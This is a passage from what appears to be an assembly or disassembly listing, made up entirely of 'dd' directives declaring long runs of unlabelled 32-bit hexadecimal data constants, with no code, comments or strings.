92027130h dd 0AE890073h, 0C47081B3h, 0AD306651h, 0D26388B5h, 7043128h dd 8003C531h, 0E9BE469h, 5B43E6F0h, 81A9C7CAh, 707D5092h dd 47609628h, 0E2EA6410h, 332837F0h, 0C53B10C9h, 4F011DF9h dd 22098256h, 0F0D478DBh, 6887032h, 0ED265E1h, 171E30B8h dd 0DD80D5CDh, 0DE01D624h, 0F05F0011h, 42C7BC1Dh, 0CC28A694h dd 0A2E83035h, 0BDC8A107h, 0A76038B3h, 18C42DE8h, 50CDAB96h dd 8F000793h, 12D748A9h, 0F2BC1378h, 0F255F876h, 0BD7900A3h dd 0D616D84Dh, 4F3B2FA4h, 14419240h, 2AE0AC03h, 811804AEh dd 85B83Dh, 0A3DCC4F4h, 3EC0145Dh, 417E10AFh, 115F94Ah dd 8802A06h, 926B46DEh, 0F80E2C1Fh, 20719E07h, 0C2E1BD03h dd 7640C774h, 775A2152h, 3FA9F0F1h, 0C918D360h, 0C564BC4Dh dd 83157258h, 6100DAD7h, 0F29D7CBEh, 0E30815Dh, 3D7177C7h dd 9C21C88Ch, 579D8301h, 0D527BFDEh, 66A509Fh, 98DD0DA5h dd 0EC3C1500h, 0FF4F7D1Bh, 573119C6h, 80030807h, 1B141721h dd 3FC76E3Ah, 4C80F9EFh, 21D65F25h, 8B0016F7h, 0DB6DDF75h dd 0B3542h, 0FF9C5DA0h, 86D8FCB2h, 0BEAE8F00h, 4AEE0971h dd 61CF00AFh, 0EAE350D6h, 0D4079A39h, 0F205C983h, 5525201Fh dd 7BAB596Ch, 7A57002Dh, 0AADF906Dh, 69004E07h, 705D8D93h dd 3FA06A0Ah, 7800DDC6h, 0AC0E59D1h, 280781FBh, 736865BDh dd 1CF484B0h, 620D02C6h, 956E4139h, 0E3E907C0h, 6744BE00h dd 384CCD04h, 0AE130066h, 50EA48C0h, 8CC20E1h, 1B214Ah dd 1D63132Eh, 0C97EE76Dh, 5818DC63h, 0A651DBD5h, 0F8AC0028h dd 52C2BE33h, 20DF8955h, 80642008h, 0A5BCDBB2h, 0B01F313Bh dd 1344A9FBh, 45406321h, 439A3DEFh, 0B00077E2h, 8A5A0BBAh dd 0C0D76970h, 3F35F371h, 0A1000814h, 0DD77BDC7h, 55EFEEh dd 3103AC83h, 1352D9A9h, 0FE87A300h, 19B9B42Bh, 0E9991C3Fh dd 43660832h, 8C4C94h, 14F65B3Dh, 0C0574994h, 39AB3519h dd 471E5FE5h, 3B40742Ah, 0F6F4084Dh, 0D512003Ah, 53EA7341h dd 5260362Eh, 0A0F26C51h, 0FAE9018Ch, 2AD18AFFh, 8095D101h dd 0A00AA621h, 0B043601Ah, 44908490h, 0DA00D77Eh, 0CBDF1807h dd 176C621h, 7F1E7764h, 0F86E59F7h, 53024396h, 56FC8D18h dd 9C08765h, 90196144h, 50F91833h, 5412F7A0h, 887A4801h dd 0A0581191h, 7F840778h, 64104BBDh, 0D3454Eh, 0E121A38Ah dd 0D75899FBh, 60BCD0F9h, 1FC4F254h, 5E780F00h, 8D887B07h dd 0D5BE0102h, 0AB1C6936h, 0FFBBD051h, 0BD34EF48h, 62E530F6h dd 6F4A5900h, 60116448h, 14E00301h, 941C5790h, 132E823h dd 0E980A0FEh, 94BC581Ah, 7169288h, 93D64FA0h, 404983B7h dd 3301711Ch, 6B19DD00h, 18CF38E2h, 14943DA7h, 0A154CB7h dd 0D4D3BBh, 66A6AEADh dd 0E57DF01h, 3C8F78E0h, 5B21F98Ch, 0D4A6D506h, 2C795020h dd 17BBAB8h, 0DA2CC99Dh, 2060BEF9h, 0D16D3F69h, 8DD28380h dd 0D301434Ah, 16D62B19h, 0FFCDCD51h, 58506EF1h, 24E772h dd 6856F1B1h, 0CE6352DEh, 0C69831C0h, 3CC3D1D8h, 159F017Ch dd 0F19869BCh, 1C521899h, 4420B5C3h, 0DC6E05h, 0CA94D258h dd 32AF00BFh, 10645C70h, 141AB730h, 4402699h, 0AB600B9Ch dd 12365A6h, 0C511D7h, 8BA6D64Eh, 1AAA334Fh, 894BA5F0h dd 7F80B0B7h, 1B3D061Eh, 5C695042h, 9D0B0124h, 96386E51h dd 0C2360E0h, 3360430Ah, 46745C4Bh, 800079C1h, 3867A7C3h dd 30E3CF07h, 0DB918720h, 0D200B5C5h, 0A20E35B3h, 29BF74h dd 1FEA0A43h, 3A5BA4C3h, 7BD6CE0Ah, 8C0154E1h, 9A5AF20Fh dd 4363B042h, 7EDA384h, 0F841E21h, 11A357FCh, 2215D56Eh dd 0DA7B0C74h, 60BB29F1h, 0E782A99Ch, 9300A2C7h, 20C2530Ah dd 97763CDh, 10698932h, 0C188202Ch, 0FB1028Ch, 6F525AF9h dd 2310E919h, 642D0FA9h, 48E800C9h, 0E3592FD6h, 924944DCh dd 60B80058h, 412B5BFFh, 65FA58D1h, 10FB9728h, 8862C590h dd 0C1B16DA9h, 0E111FA1Ch, 8B2030F7h, 1113EA8Ch, 8850C0ADh dd 2F1A8065h, 0BB114913h, 8602D9DFh, 20E3E77Bh, 98AA66CCh dd 0E8C478A5h, 0FC2F7D60h, 8C40A73Eh, 0D0BD74BCh, 6068770Bh dd 7F3071C3h, 0BA00472Eh, 0F3DB6F64h, 54A946h, 0D40BA8ADh dd 0CD34124Ch, 0B1863Fh, 0BC0EE792h, 90974FB9h, 0C93F24DCh dd 7A465E7Ch, 8852FC01h, 0CCD3DB80h, 2CB121C8h, 352A4D01h dd 2CFCBF85h, 0D902002Fh, 0C86A9616h, 8711D8Fh, 65575109h dd 91D897EEh, 7D409D4Bh, 69F9A2DAh, 0EB98A8D9h, 6CCA00F0h dd 797A4F82h, 23026D45h, 4CB0942Ch, 32B44C16h, 0BFD2A6BAh dd 4F011067h, 6FD2A6C1h, 227E95F0h, 0B2FC8821h, 0B4C96800h dd 0FDA9B8C4h, 277D03D0h, 0E0F9590Dh, 0C87CCBECh, 20FAC095h dd 514DCB5Eh, 0C0148844h, 0E986A0F0h, 91012A21h, 88C0077h dd 923C82A0h, 8F3D31D3h, 806521BCh, 0BEA70B21h, 147708C8h dd 0BCF9FBCCh, 2A01B223h, 28C0BA13h, 2780C873h, 551D1332h dd 586E3B00h, 0D6A55601h, 0F8144CF1h, 708C93ECh, 3052E4D8h dd 4C19E597h, 0B407CAF8h, 1D437407h, 434DA402h, 0C45DBA14h dd 0AA64027Ch, 8711D58Ah, 0DEDB7B21h, 15111029h, 48B7514Bh dd 0D358CFC4h, 9D59197Bh, 4292049h, 65861600h, 0B52FFE91h dd 0AE623B04h, 8C8E7B22h, 18C08088h, 99BB59F4h, 5803B2Ch dd 2CEB575Ah, 0A00AD8Dh, 0BEB90E27h, 133479Dh, 0DB2815FAh dd 1552CF96h, 2C94D882h, 22846618h, 0E8989C5Dh, 0DB056070h dd 11D6197Fh, 0D4B17C02h, 79A48764h, 812143h, 0D2F84419h dd 25BCDD47h, 0AFD83D0Fh, 348800FEh, 5CEBE0B7h, 2444F09Fh dd 0B0422CF8h, 0FE465E54h, 6D1C3F05h, 22C81F55h, 676474FEh dd 0D4600850h, 1682CA6h, 0C7912848h, 0A6BC8D00h, 5694874Ah dd 9467813Dh, 8090BAF8h, 0D0FFBE95h, 0E2B0C1DEh, 63406F49h dd 30ECA274h, 1204D6BDh, 86CBC9B0h, 96886C8Eh, 0AC002C0h dd 4C645807h, 0FDE262C1h, 0E53C9C6Ah, 13A6EF42h, 71A051C9h dd 1A186Dh, 4FAB087Eh, 7C5DD7Ch, 78599029h, 0CA18EE71h dd 0F45E4814h, 39722A8h, 0C3F00126h, 0A7E87168h, 690B7730h dd 87415AE4h, 5B5E00h, 7BAB0E1Ch, 1151C0D4h, 28430D0h dd 3E38100h, 68A967ADh, 0B78C0605h, 61E9BB77h, 639B3800h dd 0BCF1798Eh, 1F64CADh, 8043701Eh, 0BAEE5EAEh, 75729AD8h dd 99877A00h, 662FA58h, 0D59B034Dh, 0F3695B26h, 0BCFB7900h dd 0EAAFE83Bh, 0D171C68h, 7E64406Ch, 534B45ECh, 90BCBE0Eh dd 3E098001h, 24ACB12Ch, 1588ADD3h, 0E707D042h, 20C81F71h dd 9C2EB621h, 0BA9B2801h, 7D35DD4Bh, 70565710h, 0F4A56800h dd 1132C423h, 0DB2505F8h, 818C2B07h, 3942D4B0h, 0CB1C0F50h dd 18CE2C84h, 2178840Ah, 0B9B1C400h, 0F64E3A82h, 8FBB2A0Eh dd 49FC90h, 0CF14AEAAh, 111B3FBFh, 203DFF03h, 0A13E90DCh dd 8442CEBCh, 3F8C8056h, 0B864665Dh, 3E8F000Ch, 28E52979h dd 0CE0CC699h, 7982219Ah, 0FB7F07A1h, 0C0657C23h, 4B1B3A3Fh dd 8571EE00h, 0E35538DAh, 474E0914h, 53823D09h, 9864BBABh dd 0FD2B6A00h, 0D91D2A17h, 6B4A00D8h, 0F4D1E1D7h, 39046350h dd 6278F588h, 0A70020B3h, 237D3702h, 0F300AB94h, 14A0A07h dd 0F22ED263h, 5B1B39CEh, 1558BAA6h, 0FE033894h, 0D0E273CFh dd 1152AC90h, 0FB84BF00h, 3494CCBDh, 435A001Bh, 937E1E8Dh dd 0E09B496h, 6821904Bh, 26D288h, 434569A9h, 7FCB64C5h dd 604DD804h, 7888BC24h, 0E162002Ah, 0DE9A5FCFh, 890042C7h dd 5E35E28Ah, 0C863F2h, 0D8ABE1F3h, 6E1ECEB3h, 6B78D101h dd 0BC281177h, 6601F432h, 0E6A5724h, 8C0D20D4h, 0DB6C5B00h dd 0B3352508h, 9434000Ah, 0A2C698ECh, 0F9128F5Fh, 6452D860h dd 0B2FDD200h, 90F43A12h, 0CF6903FAh, 0AE278E67h, 0AA0F300Ah dd 0FB609009h, 1A384B8h, 143E933Fh, 0E0737A2Dh, 7C0FCC29h dd 850B06F2h, 208D9766h, 7B9C4Ch, 6F5CD0D7h, 8DE918AEh dd 0A0285B00h, 0DA790C2h, 1EC1BDB4h, 0F1B0D7C4h, 68999805h dd 6300C29Eh, 88E1EEFBh, 2CC003ABh, 8F30264Eh, 574360D0h dd 6DA99060h, 62F9BFh, 76B45BD0h, 0AACEB191h, 0D47C362Ah dd 0DB986373h, 694FB703h, 0B8E3E415h, 0BAD147h, 0B1A159E9h dd 5AC8677h, 7913583Dh, 0DAA04364h, 884178C9h, 48326D23h dd 0D9991Eh, 87A8BB7Fh, 6C001C28h, 16C932C1h, 63BA8Ah dd 8771430h, 0BBF8D496h, 0F380A894h, 0E53FF77Dh, 8E2F0047h dd 22B79059h, 8C768B50h, 0ED953500h, 0F22E5ED4h, 52C7D3Dh dd 0E6972DA2h, 0B6904364h, 0B00087F4h, 0F5B03162h, 0D1B442h dd 0CC5EB984h, 0C59B3AA5h, 0C014495Ch, 32CA4116h, 21D30081h dd 22CEC7DFh, 0B600B3B4h, 0F0DCD70Fh, 2A6E2A52h, 1C6CACh dd 177577B2h, 375FB503h, 25DE7F18h, 1D66156Ch, 41EADFCFh dd 7BAC9950h, 0AE9050F0h, 0B798688Dh, 200C6900h, 887DBB4Bh dd 57FE000Bh, 404D638Fh, 115A2A23h, 0C680B400h, 78BAA2D8h dd 0B18B0425h, 80EE2D20h, 1199CE68h, 0C280A899h, 0C85A3F3Ah dd 0D7300048h, 7B8391F7h, 20004E99h, 0A7297F6Ch, 18B0D8F4h dd 395B4967h, 0A30B9A14h, 0C3BE965h, 9436586Eh, 968980C0h dd 0C49D2B64h, 0A5A15Ch, 111095A9h, 0F23958FAh, 81BB2A03h dd 0D9E3098Ch, 85806B99h, 0E9F3C255h, 60D49A4Ch, 384EC9B0h dd 96BA30D0h, 0AFF81931h, 67DFC802h, 5236BF72h, 0E5CE0030h dd 97D2C6D8h, 0B71C4BF0h, 0AE84FC74h, 0C040DB60h, 91EEE1EBh dd 9DA6F400h, 47414E1Dh, 28187384h, 0F6E42D34h, 0F679013Fh dd 0D0970FF2h, 0FAF9806Ah, 9EA25A8Bh, 0FD3A3F80h, 9300F8CCh dd 2EAB3FBCh, 7902CA05h, 0E15BC30Bh, 1C6684h, 0C8BC6CBEh dd 0EC1492D2h, 0EE223816h, 4E2AFF00h, 68002C4h, 548F460Bh dd 0A90F36B7h, 0E00F6F92h, 21CB755Bh, 7E9C17Fh, 0F84D2E3Dh dd 0F1004425h, 533EB30Ch, 0B547A9Ch, 0E4BCD8Ah, 0ACAB4080h dd 5A60496Eh, 0BE1169C1h, 8F2C12D8h, 9EEC2021h, 0F800A784h dd 0C9BAD336h, 0F36FE8h, 180AD639h, 43FAA332h, 69261B14h dd 1D8D0068h, 65FD580h, 25700B1h, 436892E9h, 0CE253D10h dd 0BC1085A8h, 2177DC20h, 0AE3803EDh, 0E29915DFh, 0DC14C1ACh dd 0F68BD1ABh, 0DF0E94C8h dd 1043D22Ch, 0BDE33360h, 9EEC3B64h, 0E9AED009h, 66FA0498h dd 0F5446103h, 0C0B8AB7Ch, 0EE373E6Bh, 461700F1h, 2B04F713h dd 5D4AFE97h, 945AD044h, 19497840h, 7C1B4483h, 25B8B0CEh dd 0CCA00ADAh, 6BC891D1h, 0BD444014h, 0DEEE0068h, 0E6869274h dd 97B31338h, 22C2507h, 7BD41174h, 4D008CDAh, 0BE598F1Bh dd 0B4DA76h, 3D212B20h, 6D9C16B3h, 0D1CC3900h, 0FFB08F6Ch dd 442C4C4Ch, 0A8269601h, 29BB6807h, 80803ADCh, 739C0B1Fh dd 1ACA3C1h, 5042C3F1h, 945966ABh, 2C828E38h, 0CB40F043h dd 0E7398DFFh, 0FA62F0E8h, 8FB09E5Bh, 3D473BABh, 58EC979h dd 8E4D009Eh, 40A2B0A4h, 0D97CDA01h, 0DB7E6B58h, 0D5090022h dd 0EC646542h, 1B3E10E9h, 0A2AC06F3h, 194849BFh, 4DD73F00h dd 767D1D93h, 6FD40058h, 153E9CD0h, 279752Ch, 28520F28h dd 10959327h, 1A8E98Ch, 23335479h, 4844D68Fh, 0D90036B4h dd 0C4FE3C85h, 1D4027C8h, 13096BF3h, 0BBF4D258h, 15D558E0h dd 49516963h, 0F3410075h, 0D1DC6C05h, 457C7964h, 0D5A32F12h dd 0C004C53h, 52EAC9C5h, 518A6056h, 42FDD66Dh, 0B3B39728h dd 0A8C22009h, 870C10BBh, 92A00FCh, 0D13CE034h, 5B0117B4h dd 1EB15143h, 0A4336218h, 7A4EE100h, 0C60CC0DAh, 7840445Eh dd 0AC051D64h, 0B9E31ED1h, 0FEBF1DF5h, 3DA3680h, 2A3E2E7Eh dd 2CFF7A13h, 6C42CC8Dh, 0D38621CEh, 38D8487Bh, 0CF2C101Eh dd 0BD15B3C0h, 985517DAh, 0AEE80038h, 450E88F9h, 36371B01h dd 0AC40518Ah, 3E56B261h, 0EC80A2C4h, 17BBEA96h, 34B29C80h dd 237F9A02h, 723695CCh, 0B5D30060h, 0C66DA78Bh, 9277E3E5h dd 0E7454100h, 766BB33h, 0BE2E01A9h, 976502B7h, 0CFE848D1h dd 0CC0B148h, 0C995BB8Bh, 48EA3C23h, 1C0E532Ch, 7C2027D4h dd 8C43960Ah, 3D62E8DFh, 0A2832D90h, 70BDBAE0h, 0E61928E8h dd 0CBB5E8E3h, 2036FC2Dh, 0DDD4E780h, 5E0800DEh, 42310566h dd 8C000CF5h, 0B7B273D1h, 0B60AD4F0h, 0D04994A4h, 2B0B6D80h dd 0BB007AC0h, 0CE4EC91h, 0C53C48h, 0CFB06525h, 9FA20487h dd 0BC144E02h, 4C1CD401h, 88B44A70h, 8426F870h, 8A054146h dd 0A88170F4h, 0D8D065B1h, 853500D3h, 79AB2299h, 7852D625h dd 0B8CE1424h, 0C9B90BC4h, 79748389h, 400A922Ch, 9E12E99h dd 5B52C4A2h, 0B9BB6010h, 0B4263428h, 0A033772Ch, 0ADF4CC60h dd 0D9DE00C0h, 0ACF86F52h, 7E1112BDh, 2B1704DAh, 84E86087h dd 6E790965h, 716788h, 3A7A954Bh, 0B6AF4D15h, 0C22B1700h dd 0E6CF6CC8h, 85D1016Dh, 4F9EA01Dh, 7C79C2D5h, 4D030429h dd 0A8B39C4Ah, 2202159h, 32FEE3C5h, 0F4D142F3h, 5453231Fh dd 1115F900h, 0F4F078FBh, 0C7DC0038h, 0D54179FDh, 940057C5h dd 0BBBE7CEh, 13536D83h, 93BC5510h, 86C05174h, 25009666h dd 68B8998Ah, 0F2D02F81h, 586D2895h, 0D5DE4480h, 80400E48h dd 0AB3DF3BAh, 0CC1917B6h, 0D4941E99h, 500CCC3h, 3E68B396h dd 0FE0794A6h, 99186563h, 0C0F6A11h, 717028E0h, 433F1959h dd 405CF956h, 5038CFD0h, 3678B500h, 417DE232h, 42920739h dd 31797A55h, 0A7B284B1h, 0A9081058h, 0ED0B0022h, 0F2D0A390h dd 6E7A51A5h, 0C2B34B09h, 41F448BCh, 73DF0E38h, 0C60040E7h dd 96CF7713h, 0E1F58002h, 0E08BC79Ch, 1ECC6687h, 9E305275h dd 0C95782D0h, 4C4B2B2Dh, 6EFE69D0h, 98008CA4h, 45040950h dd 799C503h, 7CB4B634h, 60888115h, 29BBDDh, 6D44F59Ah dd 58FF4614h, 600958CAh, 646A9513h, 0C776AE84h, 16D532B0h dd 220DC872h, 0C9F8BC2Eh, 3E4A0FF4h, 0A6800B06h, 4D3DFA9Ah dd 84052C8Ch, 38079CF0h, 27003CE2h, 57CE5B33h, 150A4770h dd 0DB242A96h, 0FE8B8031h, 97DD7EE8h, 9176011h, 273E9440h dd 70915832h, 43F85300h, 0BAD8AEBEh, 0B9D05104h, 0C4809936h dd 0D23CE4h, 0EEE689F3h, 0F41B49F5h, 5F0CFA78h, 61D57BBEh dd 558701B7h, 0A54566E9h, 2607D476h, 0F5307100h, 203D1718h dd 298A009Fh, 21C41A8Bh, 432C80C7h, 0A42DC59h, 0E034E0F3h dd 7DAB0060h, 0C5790B97h, 0A01EED02h, 6B1B96F2h, 0BC53F8B8h dd 8739C09Bh, 80016CD5h, 0B52DCC00h, 3E7C5974h, 0CA610179h dd 15AC87D9h, 753872BAh, 0C4DB0A00h, 0B333F288h, 76A7F411h dd 196201BEh, 9EACB1A4h, 1C35D43Eh, 384078BEh, 93A631h dd 7D7C62EEh, 0EAB77844h, 0A755F000h, 0DEE0C090h, 9C9042h dd 5410A3CFh, 578C4FAh, 0C242FB60h, 168B9CCEh, 4527E17Bh dd 0A478D56Ch, 9C9149E4h, 6255E400h, 7712EBE3h, 7B97A42h dd 0C0C5B2B8h, 8F58C2F5h, 0C8839081h, 8A9DFCB4h, 0F31139h dd 0B89BAB65h, 96BF8C33h, 0F8674014h, 190345F6h, 0B2704052h dd 0D39003B1h, 2D16AC80h, 2260D9C1h, 80933F30h, 5E4882Eh dd 0E80D2F76h, 59010677h, 0A9F57E02h, 97645809h, 1D2866E4h dd 0F8CFAEh, 620118D4h, 0DF04D82Fh, 60F9ADFFh, 0F623B088h dd 839E0FE6h, 2092BA0Eh, 9CBB6554h, 7C1E900h, 0D684DB93h dd 26D5E06h, 0A943A42Ch, 100038E6h, 41ED150Ah, 1EADD7B9h dd 949714C7h, 89034875h, 0D67BB8B4h, 70EF6100h, 75720523h dd 0E268048Ah, 80DEEE1Fh, 0E1E77EECh, 648488h, 0A63DFF19h dd 11D417F9h, 0B480E094h, 8CBEBAEEh, 80889469h, 219CC38Fh dd 0E1309FD2h, 325A6499h, 0F19450DCh, 0C0C5EAAFh, 0FA9042F4h dd 24EEDB62h, 5626D602h, 0D221AACFh, 8B72F8h, 0D0072D51h dd 5E40CC34h, 3C88F600h, 0B793FBCh, 8803505Fh, 20BB4C70h dd 1D87F480h, 557A05DCh, 8CA1E401h, 0C232EC8Ah, 24ED57C8h dd 0F60599Eh, 73A60Ah, 5EAF9514h, 627005D9h, 8496B2Ch dd 3DEF4420h, 0EC6903BCh, 0A04295B1h, 702A1BAh, 0CF1126D4h dd 99D83CB4h, 6E4F157Bh, 14FD8440h, 1CEDFAh, 77B15455h dd 78A49272h, 26D81E3Ah, 0C00C1FCCh, 0B5931E2h, 5A52D33Eh dd 9F279490h, 0F2393807h, 3B419EC6h, 91804E44h, 0F1BF45D3h dd 7973938Ah, 44E64927h, 5B940030h, 120A1C9Ch, 4101F05Ch dd 0A49D50FDh, 9C42011Eh, 68D173h, 46DC5433h, 3B002C1Ch dd 0B1D35CA9h, 0E6CC627Fh, 40209478h, 16C28DF7h, 11181E00h dd 0E3EC21B2h, 0F259160Ah, 7C027BAh, 681CF32Ah, 0AED02690h dd 7CFD6D00h, 423D2701h, 2728B049h, 0C44473BDh, 4B665B00h dd 0F5A5C3FFh, 0D29B0055h, 39F6DF78h, 9A0E4AC0h, 6F0D01FCh dd 43A6C0C6h, 5EB5068Dh, 0E313F04Fh, 8A517800h, 58C05654h dd 20634E43h, 0E02C4508h, 0D4A56095h, 4BB4BE14h, 0B0A2A468h dd 0F500ECB0h, 0C3B5D8B4h, 9CE252h, 809CB6Ch, 0D29570ACh dd 6E10A207h, 0AE908637h, 0E296097h, 51B9D984h, 0E1BE87C7h dd 809B5234h, 36FBA128h, 7B8B2617h, 0A80100E8h, 7F634FD1h dd 1990C03Bh, 5C2087EFh, 893733A0h, 1191DAF0h, 0EA7F0071h dd 0B75F8865h, 0FBF06F07h, 95D6350Ch, 4589B8h, 0A6DEBAD7h dd 71F46FA7h, 0C5384800h, 0BDCC6A1Ah, 26167C0Bh, 0E42362h dd 98C363CEh, 0B976E088h, 48A12B33h, 0A66498B4h, 20CCFD41h dd 0CF9A00DAh, 88BFF0Fh, 0E001813h, 63175426h, 60823661h dd 8E5981D7h, 5600E284h, 648BD424h, 2A1202h, 3B55E81h dd 343FA27Ah, 0D88E0806h, 7B39DF82h, 9B1E00F7h, 0CA25A4CFh dd 110044AFh, 4A8A0835h, 0A5BEB84h, 0B5989A80h, 4C3787A4h dd 86E75094h, 0AA00B479h, 8E21EF31h, 227820h, 91772A2h dd 0B983F9BDh, 4E6069C0h dd 1ED437Dh, 40AC7418h, 803668BAh, 0C75B06F9h, 0FA0A5FC9h dd 0EBAC33E1h, 79B69E39h, 0CE2962A0h, 2BB1961Dh, 0F1D8E5C7h dd 0C1C478E0h, 57595C5Bh, 31B99918h, 0F60013D2h, 34FD61CCh dd 11A92C0h, 0AFAB23Eh, 80A19E55h, 0A3649C29h, 1E806146h dd 3FF2991h, 0EB810173h, 0AAA22003h, 0C836AE07h, 70382B8h dd 3B97DA49h, 0A9A57685h, 0B1C0F50Eh, 813BFC87h, 0E2BC80A8h dd 2183A6B8h, 33C71A76h, 8065F13Bh, 392A3A27h, 700FDEF9h dd 55943B96h, 59C6038Ch, 9901DB29h, 0BF6DCCADh, 36C8C2F8h dd 0DF460058h, 0FA5F9EC1h, 6B4C7FE3h, 666A2E90h, 4E029904h dd 578E6480h, 0C0A7F034h, 4FF415E9h, 7B04E20Dh, 0D5411B2Bh dd 6F9109C0h, 0CA10E75h, 0F2601017h, 2D4D8F49h, 0D6823518h dd 0C0EEC1h, 7BA3CC1Eh, 5EE0DB4Ah, 87B21500h, 5D649A0Fh dd 50B8F83Ch, 49D8048h, 82D6F06Dh, 650E43B9h, 0D1D8B8C0h dd 3FCDEA8Ah, 5B852D68h, 30BFE0F4h, 59974894h, 0E1BE4300h dd 656D6035h, 22D3159Ah, 4A00C8ECh, 0E12B4E05h, 39D4A0EEh dd 0A46524E8h, 8106CE40h, 0CB31C0E6h, 0D33BE01Eh, 0EF5A8B01h dd 0B898F791h, 0A55B8C50h, 0C83700ACh, 0D81C2503h, 4F3B2312h dd 291EF481h, 0B40D102h, 6F174D90h, 0CAA70B3h, 7069B720h dd 7A06EE71h, 0BAA9E161h, 3AD03791h, 5FFA8C61h, 343720FCh dd 0B9C72125h, 38416DC6h, 96264926h, 1801F5Eh, 0C72D7792h dd 9C218022h, 142BD34Dh, 99CCEBE0h, 0FE770020h, 4AA45C18h dd 4E1952F2h, 0A0312CC8h, 1F53C2C4h, 1893C7BBh, 494E1931h dd 163AF400h, 86C4A0EDh, 1C2F03AFh, 34F1291Dh, 31A9B0D9h dd 0AD6400B0h, 2D09A666h, 10C62315h, 0DB0960h, 6EFFED07h dd 0B6575ABDh, 0FDE00502h, 6064FB97h, 1839587Ch, 0F1B399C6h dd 92EC9DA7h, 2EE3E702h, 80C71319h, 0D1A64558h, 3EC80730h dd 80F4D3C2h, 1B26EB62h, 0B3B83402h, 0A1FF9385h, 0FA0E9CA8h dd 0F60A01D4h, 2D8100D4h, 6B4DD56Fh, 5D4C3057h, 0AC43C90h dd 0C41ED3C6h, 29906F47h, 0F8F6E31Ch, 85F10151h, 7A21E7D7h dd 82804149h, 0EBF980BBh, 13206C2Eh, 985D4C26h, 93E915C0h dd 0E31F4D33h, 315C0D9Ch, 0A9213446h, 848E4869h, 0FE937B0Ch dd 7E281C79h, 1D3B86EDh, 0E4F08091h, 3101D43Bh, 949E1FABh dd 41BA98DFh, 7B00297Dh, 0AC2DEA0Dh, 0B16AB9C6h, 9A938610h dd 7B0359E8h, 0E62F8954h, 0C0339A4Bh, 8B8D2478h, 93743087h dd 5B60C77Ch, 0ABCA6741h, 7B8B2h, 89EF3319h, 0FDED4880h dd 0E3122D04h, 3C8CFB5Ch, 307C004Eh, 65A79D99h, 291CCBB9h dd 24024F95h, 64ADE0FCh, 0E10E0780h, 9CC7DB3h, 95010000h dd 3900834Ah, 1A97669Fh, 74601C51h, 0B2DE38D0h, 2AD2200h dd 0B83963BBh, 4FFBB700h, 3B1E62C6h, 24D7784Ch, 0B744E65h dd 9A8D342Fh, 30B1D5D9h, 0E2029970h, 81872090h, 0E5448095h dd 0F088678Eh, 0C5B84C1Bh, 252EDC0Eh, 2DE158EFh, 2070755Ch dd 0C630FB28h, 0EC50E94Ah, 115E000Bh, 7F4509EDh, 0FD02C33Dh dd 252CD795h, 0A46602h, 0D26FCA21h, 0E901BACFh, 8379F301h dd 0AB97B872h, 738FCD4h, 99B94E12h, 3CA80678h, 0ED1CD315h dd 85E10CDCh, 88378097h, 3B01DD2Bh, 1B57ABE4h, 7C206DC0h dd 0F08358F2h, 0A60818Eh, 0CC43D987h, 22C3C0C7h, 0AA38CD01h dd 0F7C41FECh, 1257074h, 18556FD7h, 7102BB2Dh, 0CE74F01Ch dd 4B01D300h, 126C17B4h, 0BE8229C9h, 2AB800E0h, 0F755C398h dd 17144A00h, 463F844Fh, 66E2C08h, 5AF128Ch, 1DCE07ECh dd 99EDC0E4h, 0A7DBE18Fh, 690649DFh, 0F4080ABEh, 0D6C8C02Fh dd 0C0359AB3h, 0CFF090E8h, 93C8350h, 75783203h, 0F89FB1DAh dd 5CE19744h, 998400B5h, 359240B9h, 3D4C9CC2h, 0B880A83Fh dd 1C5F31ACh, 61E8E402h, 2FC3548h, 0C1B8E1Ah, 0AEC44091h dd 0D110FF9Ah, 25036A72h, 1C867039h, 84A097E9h, 0D32E7666h dd 183410E1h, 0BA22304Ch, 0E6922600h, 0D7B0BF5Ah, 2E601217h dd 0BA4C0836h, 38209396h, 5FB555h, 0B36F612h, 1B604F30h dd 7976A02h, 410D7F20h, 6159BD4h, 948A714h, 0C88881E1h dd 8F3A0208h, 6EFBDCh, 0F4D5409Fh, 39A77413h, 845F0A02h dd 60012836h, 11EBA8Bh, 0CC956FB7h, 6129094Ch, 520F680h dd 1A4E97h, 0DC797D0Bh, 7A9AD2B6h, 0E3438900h, 5C171E36h dd 64384D8Eh, 0FDE1A380h, 0E0449A4Eh, 40AF0044h, 958C4529h dd 0CE391B9Bh, 1E89818Ah, 34C7B74Eh, 0B8036822h, 90793985h dd 0C4F44F80h, 0C1C36300h, 5710E16h, 7DD71D4Dh, 0C00BDD3Fh dd 0A535F50Ah, 543CF806h, 62210584h, 9C0024D6h, 1CD07DFAh dd 8089C0EEh, 0A3631A84h, 209E0E25h, 0C699D44Ch, 0B87D0038h dd 0EAFBC33Bh, 223D1B09h, 7FCEBBC0h, 0E6813894h, 8A42FA43h dd 8B6EB840h, 0F07B60C5h, 344EFBAEh, 3F843E57h, 6C5C79h dd 0DA4A6422h, 3A257167h, 0C8396034h, 75E959E0h, 47012A79h dd 9B1E11F4h, 4BF483A8h, 23CF0004h, 96A508DBh, 4E3CC6E1h dd 631B802Dh, 9A219ED5h, 0F60F026Bh, 551499BFh, 9D52E868h dd 0DABBB08Bh, 5CD12A9h, 8704786h, 3EC79332h, 0B9FA8100h dd 0FC89134Bh, 273E050h, 0B57FB04h, 0A09038D0h, 2013BB65h dd 1803157Ch, 85D56676h, 805D9008h, 0D7C2CCD1h, 0B0FC9D8Bh dd 2CED2A03h, 87515302h, 0D399DA00h, 0EF8D2878h, 40C89498h dd 93A817E0h, 0EEAED500h, 0EDB9E218h, 5B680216h, 81760636h dd 87018CC4h, 0A3DB101Fh, 0FF406966h, 0A63F49h, 741B9C0Ah dd 410E6B53h, 12E9706h, 7539EA81h, 0B32107CBh, 0F63EB0E7h dd 9400C837h, 0D30AB80Fh, 900DA091h, 999215A4h, 1800A0ABh dd 0B649FB2Bh, 0AA0774E6h, 0E4502DFCh, 0C47732B0h, 9BE17120h dd 0C6B60164h, 0FAD8341Ah, 0C4BF2440h, 0E0088709h, 5F5848AAh dd 34986Bh, 77D6591h, 9D66A751h, 0B821D329h, 48AAB03Bh dd 0E39E27A6h, 81F9180h, 6A5AFFBFh, 723FC778h, 0AD89DC3h dd 0C43FD5h, 0F3DCD2Ah, 71C114h, 40D0635Fh, 0AADE8F61h dd 0AFB83503h, 793862B9h, 90502531h, 97DE9890h, 0EE32E2E4h dd 649EB1D4h, 51D600A8h, 0AF1186Fh, 7E16CA05h, 0EA01E42Dh dd 34D00FC3h, 847A8433h, 40A4C4A3h, 93F68F4Ah, 78CD589Dh dd 45E86C2Eh, 0CA9800CEh, 0E00207C6h, 0F8A4B522h, 0F470EB51h dd 